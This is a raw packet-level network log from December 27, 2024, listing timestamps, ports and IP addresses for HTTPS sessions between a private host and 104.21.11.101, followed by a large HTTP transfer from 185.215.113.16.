Dec 27, 2024 08:45:02.443505049 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:04.450159073 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:04.450263023 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:04.450524092 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:04.450661898 CET	49734	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:04.450676918 CET	443	49734	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:04.852864027 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:04.852925062 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:04.853045940 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:04.854827881 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:04.854846001 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:06.112122059 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:06.112190008 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:06.113782883 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:06.113790989 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:06.114020109 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:06.115288019 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:06.115401030 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:06.115406036 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:06.897155046 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:06.897241116 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:06.897449970 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:06.897537947 CET	49735	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:06.897551060 CET	443	49735	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:07.433223009 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:07.433281898 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:07.434340954 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:07.434751987 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:07.434767008 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.806780100 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.806869984 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.808132887 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.808144093 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.808412075 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.811382055 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.812160015 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.812197924 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.812288046 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.812315941 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.812412024 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.812468052 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.812587023 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.812613010 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.812752962 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.812776089 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.814373970 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.814409018 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.814416885 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.815294981 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.815337896 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.855339050 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.855541945 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.855607986 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.855627060 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.903326035 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.903475046 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.903517008 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.903551102 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.947338104 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:08.947746992 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:08.991336107 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:09.173551083 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:13.639868021 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:13.639998913 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:13.640182972 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:13.640235901 CET	49738	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:13.640258074 CET	443	49738	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:13.720633984 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:13.720700979 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:13.720792055 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:13.721195936 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:13.721209049 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:14.980859995 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:14.980925083 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:14.984704971 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:14.984718084 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:14.985110044 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:14.995328903 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:14.995346069 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:14.995451927 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:15.754012108 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:15.754321098 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:15.754388094 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:15.754545927 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:15.754571915 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:15.754582882 CET	49743	443	192.168.2.4	104.21.11.101
Dec 27, 2024 08:45:15.754587889 CET	443	49743	104.21.11.101	192.168.2.4
Dec 27, 2024 08:45:15.757492065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:15.876996040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:15.877216101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:15.877298117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:15.996900082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255116940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255173922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255182981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255233049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255244017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255254984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255264997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255440950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255439997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.255440950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.255453110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255464077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.255490065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.255515099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.375082970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.375165939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.375222921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.456762075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.456857920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.457041025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.460926056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.461044073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.461092949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.469363928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.469459057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.469523907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.477674007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.477798939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.477849960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.486047029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.486176014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.486223936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.494468927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.494569063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.494616985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.502902031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.503015041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.503066063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.511290073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.511392117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.511450052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.519613981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.519723892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.519772053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.528023005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.528114080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.528165102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.536437035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.536551952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.536602020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.658029079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.658113003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.658179045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.660507917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.661461115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.661564112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.661600113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.666671991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.666728020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.666765928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.671730995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.671788931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.671880007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.676924944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.676938057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.677076101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.682034016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.682077885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.682156086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.687154055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.687206030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.687268019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.692265987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.692312956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.692481041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.697415113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.697464943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.697531939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.702552080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.702617884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.702702045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.707678080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.707731962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.707756996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.712829113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.712884903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.712913990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.717907906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.717966080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.718020916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.723061085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.723115921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.723192930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.728177071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.728226900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.728290081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.733306885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.733370066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.859390974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.859448910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.859498024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.861409903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.862215996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.862262011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.862283945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.866473913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.866525888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.866570950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.870759010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.870803118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.870856047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.875015974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.875055075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.875080109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.879247904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.879296064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.879348040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.883529902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.883574009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.883646011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.887758017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.887810946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.887849092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.892081022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.892126083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.892148018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.896311998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.896361113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.896428108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.900655985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.900682926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.900707960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.904808044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.904845953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.904920101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.909096956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.909140110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.909181118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.913422108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.913464069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.913552999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.917654037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.917711020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.917747974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.921895027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.921936035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.921972990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.926161051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.926203012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.926242113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.930418968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.930479050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.930511951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.934700966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.934750080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.934772015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.938927889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.938991070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.939028978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.943212986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.943274975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.943279982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.947503090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.947571039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.947587967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.951744080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.951788902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.951818943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.955985069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.956027031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.956094027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.960233927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.960293055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.960361958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.964555979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.964601040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.964618921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:17.968745947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:17.968822002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.060574055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.060611010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.060661077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.062257051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.062371016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.062417984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.065764904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.067022085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.067059994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.067126989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.070497036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.070537090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.070595980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.073978901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.074031115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.074069977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.077370882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.077408075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.077501059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.080674887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.080719948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.080780983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.083919048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.083965063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.084017038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.087083101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.087124109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.087163925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.090140104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.090183973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.090246916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.093216896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.093270063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.093307972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.096304893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.096348047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.096443892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.099231958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.099277973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.099342108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.102190018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.102230072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.102315903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.105282068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.105330944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.105376005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.108119011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.108166933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.108234882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.111159086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.111212969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.111273050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.114058018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.114104033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.114150047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.117038012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.117084980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.117172956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.120003939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.120062113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.120100021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.122978926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.123033047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.123075962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.125940084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.125994921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.126065969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.128942013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.129020929 CET	49744	80	192.168.2.4	185.215.113.16
